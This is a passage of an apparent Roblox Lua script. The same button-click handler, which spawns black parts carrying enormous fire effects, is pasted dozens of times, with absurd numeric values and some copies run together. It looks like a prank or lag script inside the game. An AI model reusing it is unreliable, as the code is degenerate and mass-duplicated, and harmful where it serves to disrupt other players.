fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
